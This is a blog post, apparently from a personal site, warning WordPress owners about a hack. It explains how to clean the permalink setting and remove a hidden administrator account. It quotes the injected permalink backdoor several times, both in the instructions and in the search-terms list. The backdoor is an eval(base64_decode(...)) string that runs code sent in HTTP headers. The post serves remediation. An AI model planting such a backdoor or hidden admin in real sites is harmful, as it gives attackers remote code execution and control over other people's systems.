If you use wordpress, you should check ASAP your blog’s permalinks/rss feed.
If they are broken and look like this
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
or
“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
or
‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’ for your feed
then you are the victim of the new hack attempt targeting our blogs.

To fix things:
- go to Setting->Permalinks and delete the above mean code
- go to users, you will notice there are more administrators than usual
Put your mouse over the users and find the one that is last to register like this
1
Right click and copy the edit url, then paste it into the address bar. Also increase the number by 1.
You should find the hidden admin with a weird code as a first name. Delete the code and make him a subscriber then return to users and delete him.

Check the source of the page with administrators just in case, even if you don’t see something odd. On some older version the hack hides the increased number of admins too. If that doesn’t work right click somehwere on the background and select ‘View Source’ then use search terms like ‘administrator’ or ‘user_’ to find out the id of the hidden admin. Then copy the edit url and replace the id, make him a subscriber and delete it like I explained above.

view source

view source

This should fix it. Don’t forget to upgrade your blog to the latest version.
*This was written in a rush to help you so please forgive the errors. :)

You will like:


Subscribe...

To my feed via RSS . (?) or via email.

if not, come back tomorrow on journeyetc.com and see what's new :)


Possible search terms
  • wordpress permalink missing
  • wordpress hidden admin
  • wordpress permalinks rss
  • wordpress rss permalink
  • wordpress permalink
  • wordpress permalink rss
  • wordpress feed permalink
  • permalink wordpress
  • wordpress permalinks broken
  • permalink rss
  • wordpress permalink hack
  • com/category/post-title/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}| )&%/</code> The keywords are “eval” and “base64_decode ” </p> <p>The second clue is that a “back door” was created by a “hidden” Administ
  • permalink
  • wordpress remove hidden administrator

  • wordpress rss problem

  • wordpress permalink exploit

  • wordpress rss

  • exploit wordpress base64_decode($_SERVER[HTTP_REFERER])
  • The second clue is that a “back door” was created by a “hidden” Administ
  • wordpress reset permalinks
  • wordpress permalink problem
  • %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}| )&%/
  • rss problem wordpress
  • reset permalinks
  • wordpress hidden administrator
  • hidden admin wordpress
  • wordpress hidden user